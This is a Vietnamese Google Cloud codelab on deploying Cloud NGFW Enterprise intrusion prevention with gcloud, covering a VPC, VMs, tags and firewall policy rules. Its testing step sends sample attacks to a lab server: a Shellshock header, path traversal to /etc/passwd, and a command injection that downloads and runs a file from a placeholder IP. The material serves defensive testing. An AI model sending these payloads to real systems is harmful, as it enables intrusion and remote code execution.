Cloud NGFW Enterprise – Dịch vụ ngăn chặn xâm nhập (không có kiểm tra TLS)

1. Giới thiệu

Tường lửa thế hệ mới (NGFW) trên đám mây

Tường lửa thế hệ mới trên đám mây là một dịch vụ tường lửa được phân phối toàn diện, có các chức năng bảo vệ nâng cao, phân đoạn vi mô và phạm vi bao phủ rộng rãi để bảo vệ các khối lượng công việc của bạn trên Google Cloud khỏi các cuộc tấn công từ bên trong và bên ngoài.

Cloud NGFW có những lợi ích sau:

  • Dịch vụ tường lửa phân tán: Cloud NGFW cung cấp một cơ chế thực thi dựa trên máy chủ lưu trạng thái và được phân phối đầy đủ trên mỗi khối lượng công việc để cho phép kiến trúc bảo mật không tin tưởng bất cứ nguồn nào.
  • Đơn giản hoá việc định cấu hình và triển khai: Cloud NGFW triển khai các chính sách tường lửa theo hệ thống phân cấp và mạng có thể được đính kèm vào một nút hệ thống phân cấp tài nguyên. Các chính sách này mang lại trải nghiệm nhất quán về tường lửa trên hệ thống phân cấp tài nguyên của Google Cloud.
  • Kiểm soát chi tiết và phân đoạn vi mô: Sự kết hợp giữa các chính sách tường lửa và Thẻ do Quản lý danh tính và quyền truy cập (IAM) chi phối giúp kiểm soát chặt chẽ cả lưu lượng truy cập bắc – nam và đông – tây, xuống đến một máy ảo duy nhất, trên các mạng Đám mây riêng ảo (VPC) và tổ chức.

Cloud NGFW có các cấp sau:

Cloud NGFW Enterprise

Cloud NGFW Enterprise bổ sung Dịch vụ ngăn chặn xâm nhập (IPS), một chức năng ở Lớp 7, vào cấu trúc Tường lửa Google Cloud phân tán. Tính năng kiểm tra TLS được hỗ trợ để cho phép kiểm tra lưu lượng được mã hoá TLS, nhưng tính năng này nằm ngoài phạm vi của lớp học lập trình này (xem Lớp học lập trình Cloud NGFW Enterprise có tính năng kiểm tra TLS).

Giờ đây, bạn có thể triển khai các hoạt động kiểm tra tường lửa thế hệ tiếp theo (NGFW) đáng tin cậy ở Lớp 7 với các chế độ kiểm soát chi tiết mà không cần thay đổi cấu trúc mạng hoặc cấu hình định tuyến.

Để kích hoạt và triển khai chế độ kiểm soát tường lửa Lớp 7 bằng IPS, bạn cần thực hiện các thao tác sau:

  • Tạo một nhóm điểm cuối tường lửa theo khu vực do Google Cloud quản lý.
  • Tạo Chính sách kiểm tra TLS (không bắt buộc và không được đề cập trong lớp học lập trình này)
  • Bạn có thể tạo một Trust Config (không đề cập đến trong lớp học lập trình này)
  • Liên kết các điểm cuối này với mạng Đám mây riêng tư ảo (VPC) nơi bạn cần dịch vụ Cloud NGFW Enterprise.
  • Thực hiện các thay đổi đơn giản đối với chính sách tường lửa và quy tắc tường lửa hiện có để chỉ định hồ sơ ngăn chặn mối đe doạ cho nhiều đường dẫn lưu lượng truy cập.

Chính sách về tường lửa mạng

Chính sách tường lửa mạng đóng vai trò là một vùng chứa cho các quy tắc tường lửa. Các quy tắc được xác định trong chính sách tường lửa mạng sẽ không được thực thi ở bất kỳ đâu cho đến khi chính sách đó được liên kết với một mạng VPC. Mỗi mạng VPC có thể có một chính sách tường lửa mạng được liên kết. Các chính sách tường lửa mạng hỗ trợ Thẻ do IAM quản lý (hoặc chỉ là Thẻ) trong các quy tắc tường lửa. Các thẻ này thay thế thẻ mạng hiện tại và có thể dùng để cung cấp danh tính cho tải.

Việc chia sẻ chính sách tường lửa mạng trên nhiều mạng và tích hợp với các Thẻ do IAM quản lý giúp đơn giản hoá đáng kể việc định cấu hình và quản lý tường lửa.

Khi chính sách tường lửa mạng được ra mắt, các chính sách tường lửa của Google Cloud hiện bao gồm những thành phần sau:

  1. Chính sách tường lửa theo hệ thống phân cấp
  2. Quy tắc về tường lửa VPC
  3. Chính sách tường lửa mạng ( Toàn cầuTheo khu vực)

Chính sách tường lửa theo hệ thống phân cấp được hỗ trợ tại các nút tổ chức và thư mục trong hệ thống phân cấp tài nguyên, trong khi các quy tắc tường lửa VPC và chính sách tường lửa mạng được áp dụng ở cấp VPC. Một điểm khác biệt lớn giữa các quy tắc tường lửa VPC và chính sách tường lửa mạng là các quy tắc tường lửa VPC chỉ có thể được áp dụng cho một mạng VPC duy nhất, trong khi chính sách tường lửa mạng có thể được đính kèm vào một VPC duy nhất hoặc nhóm VPC, cùng với những lợi ích khác như cập nhật hàng loạt.

Cuối cùng, chúng ta cũng có các quy tắc tường lửa ngầm định đi kèm với mọi mạng VPC:

  • Một quy tắc lưu lượng truy cập đi có hành động là cho phép, đích đến là 0.0.0.0/0
  • Một quy tắc đầu vào có hành động là từ chối, nguồn là 0.0.0.0/0

Theo mặc định, trình tự thực thi được minh hoạ trong sơ đồ sau:

21b3bcabc469ffe.png

Xin lưu ý rằng bạn có thể hoán đổi thứ tự thực thi giữa các quy tắc tường lửa VPC và chính sách tường lửa mạng toàn cầu. Khách hàng có thể chỉ định thứ tự thực thi bất cứ lúc nào bằng lệnh gcloud.

Thẻ do IAM quản lý

Các thẻ mới được tích hợp trong quy tắc chính sách tường lửa mạng là các tài nguyên cặp khoá-giá trị được xác định ở cấp tổ chức hoặc dự án trong hệ thống phân cấp tài nguyên của Google Cloud. Thẻ như vậy chứa một chế độ kiểm soát quyền truy cập IAM (như tên gọi), cho biết ai có thể làm gì trên thẻ. Ví dụ: các quyền trong IAM cho phép người dùng chỉ định những người dùng chính nào có thể chỉ định giá trị cho thẻ và những người dùng chính nào có thể đính kèm thẻ vào tài nguyên. Sau khi bạn áp dụng một Thẻ cho tài nguyên, các quy tắc tường lửa mạng có thể sử dụng thẻ đó để cho phép và từ chối lưu lượng truy cập.

Thẻ tuân theo mô hình tài nguyên kế thừa của Google Cloud, tức là thẻ và giá trị của thẻ được truyền xuống trong hệ thống phân cấp từ thẻ gốc. Do đó, bạn có thể tạo thẻ ở một nơi rồi sử dụng cho các thư mục và dự án khác trong hệ thống phân cấp tài nguyên. Hãy truy cập vào trang này để biết thông tin chi tiết về thẻ và quy định hạn chế truy cập.

Đừng nhầm lẫn thẻ với thẻ mạng. Sau này là các chuỗi có thể được thêm vào các phiên bản Compute Engine; chúng được liên kết với phiên bản và biến mất khi phiên bản ngừng hoạt động. Các quy tắc tường lửa VPC có thể bao gồm thẻ mạng, nhưng vì không được coi là tài nguyên đám mây nên không phải tuân theo chế độ kiểm soát quyền truy cập IAM.

Xin lưu ý rằng Thẻ và Thẻ do IAM quản lý được dùng thay thế cho nhau trong tài liệu này.

Sản phẩm bạn sẽ tạo ra

Lớp học lập trình này yêu cầu một dự án duy nhất và khả năng tạo mạng VPC có kết nối công khai, đồng thời sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp chức năng IPS bằng cách:

  • Kiểm tra các luồng trong VPC/mạng con [Đông – Tây]
  • Kiểm tra luồng dữ liệu đầu vào từ Internet [Bắc – Nam]

Các luồng cần kiểm tra sẽ được chọn bằng cách sử dụng các thông số so khớp của Tường lửa trên đám mây, bao gồm 5 bộ (IP nguồn, IP đích, giao thức, cổng nguồn, cổng đích) và Thẻ. Kiểm tra TLS không có trong lớp học lập trình này.

52a0642ef8668ecf.png

Cơ sở quy tắc của chính sách tường lửa mạng sẽ tương tự như bảng dưới đây:

Mức độ ưu tiên

Hướng dẫn

Target

Nguồn

Đích đến

Hành động

Loại

100

Lưu lượng ra

Quarantine_Tag

Bất kỳ

Bất kỳ

Từ chối

Essentials

1000

Lưu lượng vào

Server_Tag

Phạm vi kiểm tra tình trạng

Bất kỳ

Cho phép

Essentials

2000

Lưu lượng vào

Bất kỳ

Dải Identity-Aware Proxy

Bất kỳ

Cho phép

Essentials

3000

Lưu lượng vào

Bất kỳ

Geo, GCTI

Bất kỳ

Từ chối

Tiêu chuẩn

4000

Lưu lượng ra

Bất kỳ

Bất kỳ

Geo, GCTI

Từ chối

Tiêu chuẩn

5000

Lưu lượng ra

Bất kỳ

Bất kỳ

Tên miền đủ điều kiện (FQDN) của bản cập nhật hệ thống

Cho phép

Tiêu chuẩn

6000

Lưu lượng vào

Server_Tag

10.0.0.0/24

Bất kỳ

IPS

Doanh nghiệp

7000

Lưu lượng vào

Server_Tag

CloudNAT_IP

Bất kỳ

IPS

Doanh nghiệp

Kiến thức bạn sẽ học được

Bạn cần có

  • Dự án Google Cloud
  • Kiến thức về việc triển khai các phiên bản và định cấu hình các thành phần mạng
  • Kiến thức về cấu hình tường lửa VPC

2. Trước khi bắt đầu

Tạo/cập nhật biến

Lớp học lập trình này sử dụng $variables để hỗ trợ việc triển khai cấu hình gcloud trong Cloud Shell.

Trong Cloud Shell, hãy chạy các lệnh bên dưới và thay thế thông tin trong dấu ngoặc khi cần (bỏ qua bước thiết lập dự án nếu bạn đã thiết lập dự án mong muốn). Một biến khác được dùng cho tài nguyên cấp tổ chức nếu cần nhiều điểm cuối tường lửa.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Bật API

Bật các API nếu bạn chưa bật:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tạo hồ sơ bảo mật và điểm cuối doanh nghiệp Cloud NGFW

Vì quá trình tạo Điểm cuối doanh nghiệp Cloud NGFW mất khoảng 20 phút, nên điểm cuối này sẽ được tạo trước và bạn có thể thực hiện song song quá trình thiết lập cơ bản trong khi điểm cuối đang được tạo.

Tạo Nhóm hồ sơ bảo mật và Hồ sơ bảo mật:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Kết quả đầu ra dự kiến:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Xác nhận rằng bạn đã tạo tài nguyên thành công:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Kết quả đầu ra dự kiến:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Tạo điểm cuối Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Chạy lệnh bên dưới để xác nhận rằng điểm cuối đang được tạo (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Quá trình tạo điểm cuối mất khoảng 20 phút. Chuyển đến phần Thiết lập cơ bản để tạo các tài nguyên cần thiết song song.

5. Thiết lập cơ bản

Hãy chuyển sang các phần sau nếu bạn muốn tạo tài nguyên cơ sở theo cách thủ công.

Mạng và mạng con VPC

Mạng VPC và mạng con

Tạo mạng VPC và mạng con:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Tạo Bộ định tuyến đám mây và cổng Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Phiên bản

Tạo các thực thể ứng dụng và máy chủ web:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Thẻ ở cấp dự án

Chỉ định quyền tagAdmin và/hoặc tagUser cho người dùng nếu cần:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Tạo khoá và giá trị Thẻ ở cấp dự án:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Liên kết thẻ với các phiên bản:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Chính sách về tường lửa mạng toàn cầu

Tạo chính sách tường lửa mạng toàn cầu:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Tạo các quy tắc Cloud Firewall Essential để từ chối lưu lượng truy cập từ các phiên bản bị cách ly (chỉ tạo làm ví dụ, không được dùng trong lớp học lập trình này) và cho phép lưu lượng truy cập từ các dải kiểm tra tình trạngproxy nhận biết danh tính:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Tạo các quy tắc Cloud Firewall Standard để từ chối lưu lượng truy cập vào và ra khỏi các quốc gia bị cấm vận, các IP độc hại đã biết và các nút thoát ToR; đồng thời chỉ cho phép lưu lượng truy cập ra khỏi các FQDN cụ thể để cập nhật hệ thống (chỉ được tạo làm ví dụ, không được sử dụng trong lớp học lập trình này):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Tạo các quy tắc của Tường lửa trên đám mây để cho phép lưu lượng truy cập vào theo hướng đông-tây / trong mạng con và bắc-nam / internet từ các dải cụ thể (các quy tắc này sẽ được cập nhật để bật Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Liên kết chính sách tường lửa mạng với mạng VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Trình cân bằng tải mạng TCP/UDP bên ngoài

Dự trữ một địa chỉ IP ngoài, đồng thời tạo nhóm phiên bản và kiểm tra tình trạng:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Tạo dịch vụ phụ trợ và quy tắc chuyển tiếp:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW Enterprise Endpoint Association

Xác định lại các biến môi trường nếu cần.

Xác nhận rằng bạn đã hoàn tất thành công việc tạo Điểm cuối tường lửa trên đám mây. Chỉ tiếp tục khi trạng thái hiển thị là ĐANG HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG TẠO):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo máy khách đang được sử dụng):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Liên kết điểm cuối Cloud NGFW Enterprise với mạng VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Quá trình liên kết mất khoảng 10 phút. Chỉ tiếp tục khi trạng thái hiển thị là ĐANG HOẠT ĐỘNG (trạng thái dự kiến là ĐANG TẠO trong quá trình tạo):

gcloud network-security firewall-endpoint-associations list

Kết quả đầu ra dự kiến:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Quy tắc kiểm tra của Cloud NGFW Enterprise

Mở một thẻ mới và bắt đầu kết nối SSH với máy ảo của máy khách thông qua IAP (bạn sẽ cần xác định lại các biến trong thẻ mới):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Xác định các biến bắt buộc trong phiên SSH và đặt các biến (đảm bảo rằng các giá trị là chính xác):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

curl cả hai IP để xác nhận rằng bạn có thể truy cập vào các IP này:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Kết quả dự kiến cho cả hai yêu cầu curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Gửi các cuộc tấn công mẫu đến IP máy chủ nội bộ (lưu lượng truy cập Đông – Tây / trong VPC). Máy chủ web phải phản hồi tất cả các yêu cầu, xác nhận rằng không có hoạt động kiểm tra/ngăn chặn L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Gửi lại các cuộc tấn công mẫu đến IP máy chủ bên ngoài thông qua Cloud NAT (lưu lượng truy cập đến từ hướng Bắc – Nam) và tương tự, máy chủ web sẽ phản hồi tất cả các yêu cầu:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Kết quả dự kiến cho cả IP công khai và IP riêng tư:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Chuyển về Cloud Shell và cập nhật các quy tắc chuyển tiếp hiện có để bật tính năng kiểm tra L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Bạn có thể mô tả các quy tắc tường lửa để xác minh rằng cả hai quy tắc đều đã được cập nhật thành công:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Kết quả đầu ra dự kiến:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Quy tắc 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Kết quả đầu ra dự kiến:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Chuyển về VM của ứng dụng và gửi lại các cuộc tấn công mẫu đến IP máy chủ nội bộ (Kiểm tra Đông – Tây / Trong VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Gửi lại các cuộc tấn công mẫu đến IP máy chủ bên ngoài thông qua Cloud NAT (kiểm tra chiều vào từ Bắc xuống Nam):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Không có phản hồi nào cho các cuộc tấn công đầu tiên theo đầu ra dự kiến bên dưới, xác nhận rằng các cuộc tấn công có mức độ nghiêm trọng cao hiện đang bị chặn.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Chuyển đến phần Bảo mật mạng > Mối đe doạ trên Bảng điều khiển đám mây để xác minh nhật ký (bạn có thể cần làm mới vài lần nếu các cuộc tấn công chưa xuất hiện).

daa535fcc34873aa.png

Chọn một trong các cuộc tấn công rồi nhấp vào "Xem nhật ký kiểm tra" ở bên phải (mở trong thẻ mới để dễ dàng chuyển đổi). Mở rộng cuộc tấn công để xem thông tin chi tiết:

5f97cdef79e42eff.png

Bạn có thể thay thế bộ lọc Log Explorer bằng truy vấn bên dưới:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Bạn sẽ thấy các mục nhật ký mối đe doạ như bên dưới:

5ea9581a7eb694c5.png

Bạn có thể xác minh các gói bị Tường lửa đám mây chặn bằng bộ lọc Log Explorer bên dưới (hữu ích cho mục đích khắc phục sự cố):

